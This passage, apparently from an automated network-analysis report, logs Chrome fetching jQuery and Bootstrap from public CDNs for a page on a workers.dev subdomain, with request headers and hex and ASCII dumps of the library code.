{matches.push( e
2024-04-26 22:11:35 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2024-04-26 22:11:35 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49760	151.101.130.137	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:35 UTC	722	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://worker-curly-silence-18d1.pistisarte.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://worker-curly-silence-18d1.pistisarte.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:35 UTC	560	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 26 Apr 2024 22:11:35 GMT Age: 1639626 X-Served-By: cache-lga21955-LGA, cache-ewr18164-EWR X-Cache: HIT, HIT X-Cache-Hits: 11, 2 X-Timer: S1714169495.296778,VS0,VE0 Vary: Accept-Encoding
2024-04-26 22:11:35 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-04-26 22:11:35 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2024-04-26 22:11:35 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2024-04-26 22:11:35 UTC	16384	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2024-04-26 22:11:35 UTC	4061	IN	Data Raw: 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c Data Ascii: Function(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49759	151.101.130.137	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:35 UTC	654	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://worker-curly-silence-18d1.pistisarte.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:35 UTC	517	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Fri, 26 Apr 2024 22:11:35 GMT Via: 1.1 varnish Age: 304158 X-Served-By: cache-lga21967-LGA X-Cache: HIT X-Cache-Hits: 8 X-Timer: S1714169495.299527,VS0,VE0 Vary: Accept-Encoding
2024-04-26 22:11:35 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-04-26 22:11:35 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
2024-04-26 22:11:35 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2024-04-26 22:11:35 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
2024-04-26 22:11:35 UTC	16384	IN	Data Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
2024-04-26 22:11:35 UTC	4789	IN	Data Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType\|\|"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h\|\|"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49758	104.18.10.207	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:35 UTC	669	OUT	GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://worker-curly-silence-18d1.pistisarte.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://worker-curly-silence-18d1.pistisarte.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:35 UTC	931	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 22:11:35 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"450fc463b8b1a349df717056fbb3e078" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/31/2023 18:54:29 CDN-EdgeStorageId: 941 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 194900f6a6466ec7c331e3312d19982c CDN-Cache: HIT CF-Cache-Status: HIT Age: 745517 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 87a9e8d19c6c4397-EWR alt-svc: h3=":443"; ma=86400
2024-04-26 22:11:35 UTC	438	IN	Data Raw: 37 63 31 30 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 Data Ascii: 7c10/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#007bff;--indigo:#6610
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 61 72 79 3a 23 30 30 37 62 66 66 3b 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 23 36 63 37 35 37 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 30 30 70 78 3b 2d 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 2d 73 61 6e Data Ascii: ary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-san
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6c 70 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 6c 20 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 64 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 64 64 7b 6d 61 72 67 69 Data Ascii: 